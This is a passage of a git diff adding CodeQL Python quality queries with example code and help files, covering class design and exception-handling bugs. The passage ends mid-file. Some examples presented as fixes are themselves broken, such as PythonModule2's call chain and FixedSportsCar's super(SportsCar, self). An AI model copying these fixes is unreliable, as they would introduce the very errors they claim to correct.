    diff --git a/python/ql/src/Classes/SlotsInOldStyleClass.ql b/python/ql/src/Classes/SlotsInOldStyleClass.ql new file mode 100644 index 00000000000..78b9bd18f29 --- /dev/null +++ b/python/ql/src/Classes/SlotsInOldStyleClass.ql @@ -0,0 +1,18 @@ +/** + * @name '__slots__' in old-style class + * @description Overriding the class dictionary by declaring '__slots__' is not supported by old-style + * classes. + * @kind problem + * @problem.severity error + * @tags portability + * correctness + * @sub-severity low + * @precision very-high + * @id py/slots-in-old-style-class + */ + +import python + +from ClassObject c +where not c.isNewStyle() and c.declaresAttribute("__slots__") and not c.failedInference() +select c, "Using __slots__ in an old style class just creates a class attribute called '__slots__'" diff --git a/python/ql/src/Classes/SubclassShadowing.py b/python/ql/src/Classes/SubclassShadowing.py new file mode 100644 index 00000000000..617db3c58e0 --- /dev/null +++ b/python/ql/src/Classes/SubclassShadowing.py @@ -0,0 +1,17 @@ +class Mammal(object): + + def __init__(self, milk = 0): + self.milk = milk + + +class Cow(Mammal): + + def __init__(self): + Mammal.__init__(self) + + def milk(self): + return "Milk" + +#Cow().milk() will raise an error as Cow().milk is the 'milk' attribute +#set in Mammal.__init__, not the 'milk' method defined on Cow. + diff --git a/python/ql/src/Classes/SubclassShadowing.qhelp b/python/ql/src/Classes/SubclassShadowing.qhelp new file mode 100644 index 00000000000..90daa9a992a --- /dev/null +++ b/python/ql/src/Classes/SubclassShadowing.qhelp @@ -0,0 +1,27 @@ + + + +

    Subclass shadowing occurs when an instance attribute of a superclass has the +the same name as a method of a subclass, or vice-versa. +The semantics of Python attribute look-up mean that the instance attribute of +the superclass hides the method in the subclass. +

    + +
    + + +

    Rename the method in the subclass or rename the attribute in the superclass.

    + +
    + +

    The following code includes an example of subclass shadowing. When you call Cow().milk() +an error is raised because Cow().milk is interpreted as the 'milk' attribute set in +Mammal.__init__, not the 'milk' method defined within Cow. This can be fixed +by changing the name of either the 'milk' attribute or the 'milk' method.

    + + + +
    +
    diff --git a/python/ql/src/Classes/SubclassShadowing.ql b/python/ql/src/Classes/SubclassShadowing.ql new file mode 100644 index 00000000000..6cdd9edf01d --- /dev/null +++ b/python/ql/src/Classes/SubclassShadowing.ql @@ -0,0 +1,40 @@ +/** + * @name Superclass attribute shadows subclass method + * @description Defining an attribute in a superclass method with a name that matches a subclass + * method, hides the method in the subclass. + * @kind problem + * @problem.severity error + * @tags maintainability + * correctness + * @sub-severity low + * @precision high + * @id py/attribute-shadows-method + */ + +/* Determine if a class defines a method that is shadowed by an attribute + defined in a super-class +*/ + +/* Need to find attributes defined in superclass (only in __init__?) */ + +import python + +predicate shadowed_by_super_class(ClassObject c, ClassObject supercls, Assign assign, FunctionObject f) +{ + c.getASuperType() = supercls and c.declaredAttribute(_) = f and + exists(FunctionObject init, Attribute attr | + supercls.declaredAttribute("__init__") = init and + attr = assign.getATarget() and + ((Name)attr.getObject()).getId() = "self" and + attr.getName() = f.getName() and + assign.getScope() = ((FunctionExpr)init.getOrigin()).getInnerScope() + ) and + /* It's OK if the super class defines the method as well. + * We assume that the original method must have been defined for a reason. */ + not supercls.hasAttribute(f.getName()) +} + +from ClassObject c, ClassObject supercls, Assign assign, FunctionObject shadowed +where shadowed_by_super_class(c, supercls, assign, shadowed) +select shadowed.getOrigin(), "Method " + shadowed.getName() + " is shadowed by $@ in super class '"+ supercls.getName() + "'.", assign, "an attribute" + diff --git a/python/ql/src/Classes/SuperInOldStyleClass.py b/python/ql/src/Classes/SuperInOldStyleClass.py new file mode 100644 index 00000000000..815b9816735 --- /dev/null +++ b/python/ql/src/Classes/SuperInOldStyleClass.py @@ -0,0 +1,18 @@ +class PythonModule(_ModuleIteratorHelper): # '_ModuleIteratorHelper' and 'PythonModule' are old-style classes + + # class definitions .... + + def walkModules(self, importPackages=False): + if importPackages and self.isPackage(): + self.load() + return super(PythonModule, self).walkModules(importPackages=importPackages) # super() will fail + + +class PythonModule2(_ModuleIteratorHelper): # call to super replaced with direct call to class + + # class definitions .... + + def walkModules(self, importPackages=False): + if importPackages and self.isPackage(): + self.load() + return _ModuleIteratorHelper.__init__(PythonModule, self).walkModules(importPackages=importPackages) diff --git a/python/ql/src/Classes/SuperInOldStyleClass.qhelp b/python/ql/src/Classes/SuperInOldStyleClass.qhelp new file mode 100644 index 00000000000..6899c08dc21 --- /dev/null +++ b/python/ql/src/Classes/SuperInOldStyleClass.qhelp @@ -0,0 +1,38 @@ + + + + +

    The ability to access inherited methods that have been overridden in a class using super() +is supported only by new-style classes. When you use the super() function in an old-style +class it fails.

    + +
    + +

    If you want to access inherited methods using the super() built-in, then ensure that +the class is a new-style class. You can convert an old-style class to a new-style class by inheriting +from object. Alternatively, you can call the __init__ method of the superclass +directly from an old-style class using: BaseClass.__init__(...).

    + +
    + +

    In the following example, PythonModule is an old-style class as it inherits from another +old-style class. If the _ModuleIteratorHelper class cannot be converted into a new-style +class, then the call to super() must be replaced. The PythonModule2 class +demonstrates the correct way to call a superclass from an old-style class.

    + + + + +
    + + +
  • Python Glossary: New-style class.
  • +
  • Python Language Reference: New-style and classic +classes.
  • +
  • Python Standard Library: super.
  • + + +
    +
    diff --git a/python/ql/src/Classes/SuperInOldStyleClass.ql b/python/ql/src/Classes/SuperInOldStyleClass.ql new file mode 100644 index 00000000000..b6c7649a1ca --- /dev/null +++ b/python/ql/src/Classes/SuperInOldStyleClass.ql @@ -0,0 +1,22 @@ +/** + * @name 'super' in old style class + * @description Using super() to access inherited methods is not supported by old-style classes. + * @kind problem + * @tags portability + * correctness + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/super-in-old-style + */ + +import python + +predicate uses_of_super_in_old_style_class(Call s) { + exists(Function f, ClassObject c | s.getScope() = f and f.getScope() = c.getPyClass() and not c.failedInference() and + not c.isNewStyle() and ((Name)s.getFunc()).getId() = "super") +} + +from Call c +where uses_of_super_in_old_style_class(c) +select c, "super() will not work in old-style classes" \ No newline at end of file diff --git a/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.py b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.py new file mode 100644 index 00000000000..0ee6e61bcb1 --- /dev/null +++ b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.py @@ -0,0 +1,29 @@ +#Calling a method multiple times by using explicit calls when a base inherits from other base +class Vehicle(object): + + def __del__(self): + recycle(self.base_parts) + + +class Car(Vehicle): + + def __del__(self): + recycle(self.car_parts) + Vehicle.__del__(self) + + +class SportsCar(Car, Vehicle): + + # Vehicle.__del__ will get called twice + def __del__(self): + recycle(self.sports_car_parts) + Car.__del__(self) + Vehicle.__del__(self) + + +#Fix SportsCar by only calling Car.__del__ +class FixedSportsCar(Car, Vehicle): + + def __del__(self): + recycle(self.sports_car_parts) + Car.__del__(self) diff --git a/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.qhelp b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.qhelp new file mode 100644 index 00000000000..d9514b2c68c --- /dev/null +++ b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.qhelp @@ -0,0 +1,58 @@ + + + + +

    Python, unlike statically typed languages such as Java, allows complete freedom when calling methods during object destruction. +However, standard object-oriented principles apply to Python classes using deep inheritance hierarchies. +Therefore the developer has responsibility for ensuring that objects are properly cleaned up when +there are multiple __del__ methods that need to be called. +

    + +

    +Calling a __del__ method more than once during object destruction risks resources being released multiple +times. The relevant __del__ method may not be designed to be called more than once. +

    + +

    There are a number of ways that a __del__ method may be be called more than once.

    +
      +
    • There may be more than one explicit call to the method in the hierarchy of __del__ methods.
    • +
    • A class using multiple inheritance directly calls the __del__ methods of its base types. + One or more of those base types uses super() to pass down the inheritance chain.
    • +
    + + +
    + +

    Either be careful not to explicitly call a __del__ method more than once, or +use super() throughout the inheritance hierarchy.

    + +

    Alternatively refactor one or more of the classes to use composition rather than inheritance.

    + +
    + +

    In the first example, explicit calls to __del__ are used, but SportsCar erroneously calls +both Vehicle.__del__ and Car.__del__. +This can be fixed by removing the call to Vehicle.__del__, as shown in FixedSportsCar. +

    + + + +

    In the second example, there is a mixture of explicit calls to __del__ and calls using super(). +To fix this example, super() should be used throughout. +

    + + + +
    + + +
  • Python Tutorial: Classes.
  • +
  • Python Standard Library: super.
  • +
  • Artima Developer: Things to Know About Python Super.
  • +
  • Wikipedia: Composition over inheritance.
  • + + +
    +
    diff --git a/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.ql b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.ql new file mode 100644 index 00000000000..b0e4a13469d --- /dev/null +++ b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes.ql @@ -0,0 +1,27 @@ +/** + * @name Multiple calls to __del__ during object destruction + * @description A duplicated call to a super-class __del__ method may lead to class instances not be cleaned up properly. + * @kind problem + * @tags efficiency + * correctness + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/multiple-calls-to-delete + */ + +import python +import MethodCallOrder + + +from ClassObject self, FunctionObject multi +where +multiple_calls_to_superclass_method(self, multi, "__del__") and +not multiple_calls_to_superclass_method(self.getABaseType(), multi, "__del__") and +not exists(FunctionObject better | + multiple_calls_to_superclass_method(self, better, "__del__") and + better.overrides(multi) +) and +not self.failedInference() +select self, "Class " + self.getName() + " may not be cleaned up properly as $@ may be called multiple times during destruction.", +multi, multi.descriptiveString() diff --git a/python/ql/src/Classes/SuperclassDelCalledMultipleTimes2.py b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes2.py new file mode 100644 index 00000000000..8cb1433ac0c --- /dev/null +++ b/python/ql/src/Classes/SuperclassDelCalledMultipleTimes2.py @@ -0,0 +1,32 @@ + +#Calling a method multiple times by using explicit calls when a base uses super() +class Vehicle(object): + + def __del__(self): + recycle(self.base_parts) + super(Vehicle, self).__del__() + +class Car(Vehicle): + + def __del__(self): + recycle(self.car_parts) + super(Car, self).__del__() + + +class SportsCar(Car, Vehicle): + + # Vehicle.__del__ will get called twice + def __del__(self): + recycle(self.sports_car_parts) + Car.__del__(self) + Vehicle.__del__(self) + + +#Fix SportsCar by using super() +class FixedSportsCar(Car, Vehicle): + + def __del__(self): + recycle(self.sports_car_parts) + super(SportsCar, self).__del__() + + diff --git a/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.py b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.py new file mode 100644 index 00000000000..050d5d389d6 --- /dev/null +++ b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.py @@ -0,0 +1,36 @@ +#Calling a method multiple times by using explicit calls when a base inherits from other base +class Vehicle(object): + + def __init__(self): + self.mobile = True + +class Car(Vehicle): + + def __init__(self): + Vehicle.__init__(self) + self.car_init() + + def car_init(self): + pass + +class SportsCar(Car, Vehicle): + + # Vehicle.__init__ will get called twice + def __init__(self): + Vehicle.__init__(self) + Car.__init__(self) + self.sports_car_init() + + def sports_car_init(self): + pass + +#Fix SportsCar by only calling Car.__init__ +class FixedSportsCar(Car, Vehicle): + + def __init__(self): + Car.__init__(self) + self.sports_car_init() + + def sports_car_init(self): + pass + diff --git a/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.qhelp b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.qhelp new file mode 100644 index 00000000000..f1140d68b89 --- /dev/null +++ b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.qhelp @@ -0,0 +1,58 @@ + + + + +

    Python, unlike statically typed languages such as Java, allows complete freedom when calling methods during object initialization. +However, standard object-oriented principles apply to Python classes using deep inheritance hierarchies. +Therefore the developer has responsibility for ensuring that objects are properly initialized when +there are multiple __init__ methods that need to be called. +

    + +

    +Calling an __init__ method more than once during object initialization risks the object being incorrectly initialized. +It is unlikely that the relevant __init__ method is designed to be called more than once. +

    + +

    There are a number of ways that an __init__ method may be be called more than once.

    +
      +
    • There may be more than one explicit call to the method in the hierarchy of __init__ methods.
    • +
    • A class using multiple inheritance directly calls the __init__ methods of its base types. + One or more of those base types uses super() to pass down the inheritance chain.
    • +
    + + +
    + +

    Either be careful not to explicitly call an __init__ method more than once, or +use super() throughout the inheritance hierarchy.

    + +

    Alternatively refactor one or more of the classes to use composition rather than inheritance.

    + +
    + +

    In the first example, explicit calls to __init__ are used, but SportsCar erroneously calls +both Vehicle.__init__ and Car.__init__. +This can be fixed by removing the call to Vehicle.__init__, as shown in FixedSportsCar. +

    + + + +

    In the second example, there is a mixture of explicit calls to __init__ and calls using super(). +To fix this example, super() should be used throughout. +

    + + + +
    + + +
  • Python Tutorial: Classes.
  • +
  • Python Standard Library: super.
  • +
  • Artima Developer: Things to Know About Python Super.
  • +
  • Wikipedia: Composition over inheritance.
  • + + +
    +
    diff --git a/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.ql b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.ql new file mode 100644 index 00000000000..723527e1de8 --- /dev/null +++ b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes.ql @@ -0,0 +1,26 @@ +/** + * @name Multiple calls to __init__ during object initialization + * @description A duplicated call to a super-class __init__ method may lead to objects of this class not being properly initialized. + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/multiple-calls-to-init + */ + +import python +import MethodCallOrder + +from ClassObject self, FunctionObject multi +where multi != theObjectType().lookupAttribute("__init__") and +multiple_calls_to_superclass_method(self, multi, "__init__") and +not multiple_calls_to_superclass_method(self.getABaseType(), multi, "__init__") and +not exists(FunctionObject better | + multiple_calls_to_superclass_method(self, better, "__init__") and + better.overrides(multi) +) and +not self.failedInference() +select self, "Class " + self.getName() + " may not be initialized properly as $@ may be called multiple times during initialization.", +multi, multi.descriptiveString() diff --git a/python/ql/src/Classes/SuperclassInitCalledMultipleTimes2.py b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes2.py new file mode 100644 index 00000000000..e12e86a079e --- /dev/null +++ b/python/ql/src/Classes/SuperclassInitCalledMultipleTimes2.py @@ -0,0 +1,38 @@ + +#Calling a method multiple times by using explicit calls when a base uses super() +class Vehicle(object): + + def __init__(self): + super(Vehicle, self).__init__() + self.mobile = True + +class Car(Vehicle): + + def __init__(self): + super(Car, self).__init__() + self.car_init() + + def car_init(self): + pass + +class SportsCar(Car, Vehicle): + + # Vehicle.__init__ will get called twice + def __init__(self): + Vehicle.__init__(self) + Car.__init__(self) + self.sports_car_init() + + def sports_car_init(self): + pass + +#Fix SportsCar by using super() +class FixedSportsCar(Car, Vehicle): + + def __init__(self): + super(SportsCar, self).__init__() + self.sports_car_init() + + def sports_car_init(self): + pass + diff --git a/python/ql/src/Classes/UndefinedClassAttribute.py b/python/ql/src/Classes/UndefinedClassAttribute.py new file mode 100644 index 00000000000..f94753eed4f --- /dev/null +++ b/python/ql/src/Classes/UndefinedClassAttribute.py @@ -0,0 +1,19 @@ +class Spam: + + def __init__(self): + self.spam = 'spam, spam, spam' + + def __str__(self): + return '%s and %s' % (self.spam, self.eggs) # Uninitialized attribute 'eggs' + +#Fixed version + +class Spam: + + def __init__(self): + self.spam = 'spam, spam, spam' + self.eggs = None + + def __str__(self): + return '%s and %s' % (self.spam, self.eggs) # OK + diff --git a/python/ql/src/Classes/UndefinedClassAttribute.qhelp b/python/ql/src/Classes/UndefinedClassAttribute.qhelp new file mode 100644 index 00000000000..46804576d6c --- /dev/null +++ b/python/ql/src/Classes/UndefinedClassAttribute.qhelp @@ -0,0 +1,33 @@ + + + + + +

    A non-existent attribute of self is accessed in a method. +An attribute is treated as non-existent if it is not a class attribute +and it is not set in any method of the class. +This may result in an AttributeError at run time. + +

    + +
    + + +

    Ensure that all attributes are initialized in the __init__ method.

    + + +
    + + + + + + + +
  • Python Standard Library: exception AttributeError.
  • + + +
    +
    diff --git a/python/ql/src/Classes/UndefinedClassAttribute.ql b/python/ql/src/Classes/UndefinedClassAttribute.ql new file mode 100644 index 00000000000..6b5a8c87804 --- /dev/null +++ b/python/ql/src/Classes/UndefinedClassAttribute.ql @@ -0,0 +1,34 @@ +/** + * @name Undefined class attribute + * @description Accessing an attribute of 'self' that is not initialized anywhere in the class in the __init__ method may cause an AttributeError at runtime + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision low + * @id py/undefined-attribute + */ + +import python +import semmle.python.SelfAttribute + +predicate undefined_class_attribute(SelfAttributeRead a, CheckClass c, int line, string name) { + name = a.getName() and + not c.sometimesDefines(name) and + c.interestingUndefined(a) and + line = a.getLocation().getStartLine() and + not attribute_assigned_in_method(c.getAMethodCalledFromInit(), name) +} + +predicate report_undefined_class_attribute(Attribute a, ClassObject c, string name) { + exists(int line | + undefined_class_attribute(a, c, line, name) and + line = min(int x | undefined_class_attribute(_, c, x, name)) + ) +} + +from Attribute a, ClassObject c, string name +where report_undefined_class_attribute(a, c, name) +select a, "Attribute '" + name + "' is not defined in either the class body or in any method" + diff --git a/python/ql/src/Classes/UselessClass.py b/python/ql/src/Classes/UselessClass.py new file mode 100644 index 00000000000..81683917610 --- /dev/null +++ b/python/ql/src/Classes/UselessClass.py @@ -0,0 +1,16 @@ +class GCDFinder(object): + def __init__(self, a, b): + self.a = a + self.b = b + + def calculate(self): + a = self.a + b = self.b + while a != 0 and b != 0: + if a > b: + a = a % b + else: + b = b % a + if a == 0: + return b + return a \ No newline at end of file diff --git a/python/ql/src/Classes/UselessClass.qhelp b/python/ql/src/Classes/UselessClass.qhelp new file mode 100644 index 00000000000..8881aea59ef --- /dev/null +++ b/python/ql/src/Classes/UselessClass.qhelp @@ -0,0 +1,35 @@ + + + + + +

    If a class has only one public method (other than its __init__) +it should be replaced with a function. +

    + +
    + + +

    Convert the single public method into a function. +If there is an __init__ and it sets attributes on the self +then rename the __init__ method and remove the self parameter +Make the public method an inner function and return that.

    + +

    Delete the class.

    + +
    + +

    In this example the class only has a single method. This method does not need to be in its own +class. It should be a method on its own that takes a and b as parameters. +

    + + +
    + + +
  • Python: Classes.
  • + +
    +
    diff --git a/python/ql/src/Classes/UselessClass.ql b/python/ql/src/Classes/UselessClass.ql new file mode 100644 index 00000000000..e04ea103ad6 --- /dev/null +++ b/python/ql/src/Classes/UselessClass.ql @@ -0,0 +1,83 @@ +/** + * @name Useless class + * @description Class only defines one public method (apart from __init__ or __new__) and should be replaced by a function + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity recommendation + * @sub-severity low + * @precision medium + * @id py/useless-class + */ + +import python + +predicate fewer_than_two_public_methods(Class cls, int methods) { + (methods = 0 or methods = 1) and + methods = count(Function f | f = cls.getAMethod() and not f = cls.getInitMethod()) +} + +predicate does_not_define_special_method(Class cls) { + not exists(Function f | f = cls.getAMethod() and f.isSpecialMethod()) +} + + +predicate no_inheritance(Class c) { + not exists(ClassObject cls, ClassObject other | + cls.getPyClass() = c and + other != theObjectType() | + other.getABaseType() = cls or + cls.getABaseType() = other + ) + and + not exists(Expr base | base = c.getABase() | + not base instanceof Name or ((Name)base).getId() != "object" + ) +} + +predicate is_decorated(Class c) { + exists(c.getADecorator()) +} + +predicate is_stateful(Class c) { + exists(Function method, ExprContext ctx | + method.getScope() = c and (ctx instanceof Store or ctx instanceof AugStore) | + exists(Subscript s | s.getScope() = method and s.getCtx() = ctx) + or + exists(Attribute a | a.getScope() = method and a.getCtx() = ctx) + ) + or + exists(Function method, Call call, Attribute a, string name | + method.getScope() = c and call.getScope() = method and + call.getFunc() = a and a.getName() = name | + name = "pop" or name = "remove" or name = "discard" or + name = "extend" or name = "append" + ) + +} + +predicate useless_class(Class c, int methods) { + c.isTopLevel() + and + c.isPublic() + and + no_inheritance(c) + and + fewer_than_two_public_methods(c, methods) + and + does_not_define_special_method(c) + and + not c.isProbableMixin() + and + not is_decorated(c) + and + not is_stateful(c) +} + +from Class c, int methods, string msg +where useless_class(c, methods) and +(methods = 1 and msg = "Class " + c.getName() + " defines only one public method, which should be replaced by a function." + or + methods = 0 and msg = "Class " + c.getName() + " defines no public methods and could be replaced with a namedtuple or dictionary." +) +select c, msg diff --git a/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.py b/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.py new file mode 100644 index 00000000000..89b909f3cc2 --- /dev/null +++ b/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.py @@ -0,0 +1,6 @@ +class Point(object): + def __init__(self, x, y): + self.x = x + self.y = y + +p = Point(x=1, yy=2) # TypeError: 'yy' is not a valid keyword argument diff --git a/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.qhelp b/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.qhelp new file mode 100644 index 00000000000..ff21b557e4b --- /dev/null +++ b/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.qhelp @@ -0,0 +1,35 @@ + + + +

    +Using a named argument whose name does not correspond to a parameter of the __init__ method of the class being instantiated, will result in a +TypeError at runtime. +

    + +
    + + +

    Check for typos in the name of the arguments and fix those. +If the name is clearly different, then this suggests a logical error. +The change required to correct the error will depend on whether the wrong argument has been +specified or whether the wrong class has been specified. +

    + +
    + + + + + + +
  • Python Glossary: Arguments.
  • +
  • Python Glossary: Parameters.
  • +
  • Python Programming FAQ: + What is the difference between arguments and parameters?.
  • +
  • The Python Language Reference: Data model: object.__init__
  • +
  • The Python Tutorial: Classes
  • + +
    +
    diff --git a/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.ql b/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.ql new file mode 100644 index 00000000000..33bf524ae94 --- /dev/null +++ b/python/ql/src/Classes/WrongNameForArgumentInClassInstantiation.ql @@ -0,0 +1,27 @@ +/** + * @name Wrong name for an argument in a class instantiation + * @description Using a named argument whose name does not correspond to a + * parameter of the __init__ method of the class being + * instantiated, will result in a TypeError at runtime. + * @kind problem + * @tags reliability + * correctness + * external/cwe/cwe-628 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/call/wrong-named-class-argument + */ + +import python + +import Expressions.CallArgs + + +from Call call, ClassObject cls, string name, FunctionObject init +where + illegally_named_parameter(call, cls, name) + and init = get_function_or_initializer(cls) +select + call, "Keyword argument '" + name + "' is not a supported parameter name of $@.", init, init.getQualifiedName() + diff --git a/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.py b/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.py new file mode 100644 index 00000000000..8e1350e4b1d --- /dev/null +++ b/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.py @@ -0,0 +1,7 @@ +class Point(object): + def __init__(self, x, y): + self.x = x + self.y = y + +p = Point(1) # TypeError: too few arguments +p = Point(1,2,3) # TypeError: too many arguments diff --git a/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.qhelp b/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.qhelp new file mode 100644 index 00000000000..ca311912a78 --- /dev/null +++ b/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.qhelp @@ -0,0 +1,45 @@ + + + +

    + A call to the __init__ method of a class must supply an argument + for each parameter that does not have a default value defined, so: +

    +
      +
    • The minimum number of arguments is the number of parameters without default values.
    • +
    • The maximum number of arguments is the total number of parameters, unless + the class __init__ method takes a varargs (starred) parameter in + which case there is no limit.
    • +
    +
    + +

    If there are too few arguments then check to see which arguments have been omitted and supply values for those.

    + +

    If there are too many arguments then check to see if any have been added by mistake and remove those.

    + +

    + Also check where a comma has been inserted instead of an operator or a dot. + For example, the code is obj,attr when it should be obj.attr. +

    + +

    If it is not clear which are the missing or surplus arguments, then this suggests a logical error. +The fix will then depend on the nature of the error. +

    + +
    + + + + + + +
  • Python Glossary: Arguments.
  • +
  • Python Glossary: Parameters.
  • +
  • Python Programming FAQ: + What is the difference between arguments and parameters?.
  • +
  • The Python Language Reference: Data model: object.__init__
  • +
  • The Python Tutorial: Classes
  • +
    +
    diff --git a/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.ql b/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.ql new file mode 100644 index 00000000000..915856319e0 --- /dev/null +++ b/python/ql/src/Classes/WrongNumberArgumentsInClassInstantiation.ql @@ -0,0 +1,25 @@ +/** + * @name Wrong number of arguments in a class instantiation + * @description Using too many or too few arguments in a call to the __init__ + * method of a class will result in a TypeError at runtime. + * @kind problem + * @tags reliability + * correctness + * external/cwe/cwe-685 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/call/wrong-number-class-arguments + */ + +import python +import Expressions.CallArgs + +from Call call, ClassObject cls, string too, string should, int limit, FunctionObject init +where +( + too_many_args(call, cls, limit) and too = "too many arguments" and should = "no more than " + or + too_few_args(call, cls, limit) and too = "too few arguments" and should = "no fewer than " +) and init = get_function_or_initializer(cls) +select call, "Call to $@ with " + too + "; should be " + should + limit.toString() + ".", init, init.getQualifiedName() diff --git a/python/ql/src/Exceptions/CatchingBaseException.py b/python/ql/src/Exceptions/CatchingBaseException.py new file mode 100644 index 00000000000..b51dc5f4a2e --- /dev/null +++ b/python/ql/src/Exceptions/CatchingBaseException.py @@ -0,0 +1,27 @@ + +def call_main_program_implicit_handle_base_exception(): + try: + #application.main calls sys.exit() when done. + application.main() + except Exception as ex: + log(ex) + except: + pass + +def call_main_program_explicit_handle_base_exception(): + try: + #application.main calls sys.exit() when done. + application.main() + except Exception as ex: + log(ex) + except BaseException: + pass + +def call_main_program_fixed(): + try: + #application.main calls sys.exit() when done. + application.main() + except Exception as ex: + log(ex) + except SystemExit: + pass diff --git a/python/ql/src/Exceptions/CatchingBaseException.qhelp b/python/ql/src/Exceptions/CatchingBaseException.qhelp new file mode 100644 index 00000000000..725f9ce465b --- /dev/null +++ b/python/ql/src/Exceptions/CatchingBaseException.qhelp @@ -0,0 +1,55 @@ + + + +

    +All exception classes in Python derive from BaseException. BaseException has three important subclasses, +Exception from which all errors and normal exceptions derive, KeyboardInterrupt which is raised when the +user interrupts the program from the keyboard and SystemExit which is raised by the sys.exit() function to +terminate the program. +

    + +

    +Since KeyboardInterrupt and SystemExit are special they should not be grouped together with other +Exception classes. +

    + +

    +Catching BaseException, rather than its subclasses may prevent proper handling of +KeyboardInterrupt or SystemExit. It is easy to catch BaseException +accidentally as it is caught implicitly by an empty except: statement. +

    + +
    + + +

    +Handle Exception, KeyboardInterrupt and SystemExit separately. Do not use the plain except: form. +

    + +
    + +

    +In these examples, a function application.main() is called that might raise SystemExit. +In the first two functions, BaseException is caught, but this will discard KeyboardInterrupt. +In the third function, call_main_program_fixed only SystemExit is caught, +leaving KeyboardInterrupt to propagate. +

    + + +

    In these examples KeyboardInterrupt is accidentally ignored.

    + + + +
    + + +
  • Python Language Reference: The try statement, +Exceptions.
  • +
  • M. Lutz, Learning Python, Section 35.3: Exception Design Tips and Gotchas, O'Reilly Media, 2013.
  • +
  • Python Tutorial: Errors and Exceptions.
  • + + +
    +
    diff --git a/python/ql/src/Exceptions/CatchingBaseException.ql b/python/ql/src/Exceptions/CatchingBaseException.ql new file mode 100644 index 00000000000..4d5be501ecf --- /dev/null +++ b/python/ql/src/Exceptions/CatchingBaseException.ql @@ -0,0 +1,30 @@ +/** + * @name Except block handles 'BaseException' + * @description Handling 'BaseException' means that system exits and keyboard interrupts may be mis-handled. + * @kind problem + * @tags reliability + * readability + * convention + * external/cwe/cwe-396 + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/catch-base-exception + */ + +import python + +predicate doesnt_reraise(ExceptStmt ex) { + ex.getAFlowNode().getBasicBlock().reachesExit() +} + +predicate catches_base_exception(ExceptStmt ex) { + ex.getType().refersTo(theBaseExceptionType()) + or + not exists(ex.getType()) +} + +from ExceptStmt ex +where catches_base_exception(ex) and +doesnt_reraise(ex) +select ex, "Except block directly handles BaseException." diff --git a/python/ql/src/Exceptions/EmptyExcept.py b/python/ql/src/Exceptions/EmptyExcept.py new file mode 100644 index 00000000000..c01c00a0593 --- /dev/null +++ b/python/ql/src/Exceptions/EmptyExcept.py @@ -0,0 +1,6 @@ +# ... +try: + security_manager.drop_privileges() +except SecurityError: + pass +# ... \ No newline at end of file diff --git a/python/ql/src/Exceptions/EmptyExcept.qhelp b/python/ql/src/Exceptions/EmptyExcept.qhelp new file mode 100644 index 00000000000..9b7ef09643f --- /dev/null +++ b/python/ql/src/Exceptions/EmptyExcept.qhelp @@ -0,0 +1,27 @@ + + + +

    Ignoring exceptions that should be dealt with in some way is almost always a bad idea. +The loss of information can lead to hard to debug errors and incomplete log files. +It is even possible that ignoring an exception can cause a security vulnerability. +An empty except block may be an indication that the programmer intended to +handle the exception but never wrote the code to do so.

    + +
    + +

    Ensure all exceptions are handled correctly.

    + +
    + +

    In this example the program keeps running with the same privileges if it fails to drop to lower +privileges.

    + + +
    + + + + +
    diff --git a/python/ql/src/Exceptions/EmptyExcept.ql b/python/ql/src/Exceptions/EmptyExcept.ql new file mode 100755 index 00000000000..592aec421bf --- /dev/null +++ b/python/ql/src/Exceptions/EmptyExcept.ql @@ -0,0 +1,106 @@ +/** + * @name Empty except + * @description Except doesn't do anything and has no comment + * @kind problem + * @tags reliability + * maintainability + * external/cwe/cwe-390 + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/empty-except + */ + +import python + +predicate +empty_except(ExceptStmt ex) { + not exists(Stmt s | s = ex.getAStmt() and not s instanceof Pass) +} + +predicate no_else(ExceptStmt ex) { + not exists(ex.getTry().getOrelse()) +} + +predicate no_comment(ExceptStmt ex) { + not exists(Comment c | + c.getLocation().getFile() = ex.getLocation().getFile() and + c.getLocation().getStartLine() >= ex.getLocation().getStartLine() and + c.getLocation().getEndLine() <= ex.getBody().getLastItem().getLocation().getEndLine() + ) +} + +predicate non_local_control_flow(ExceptStmt ex) { + ex.getType().refersTo(theStopIterationType()) +} + +predicate 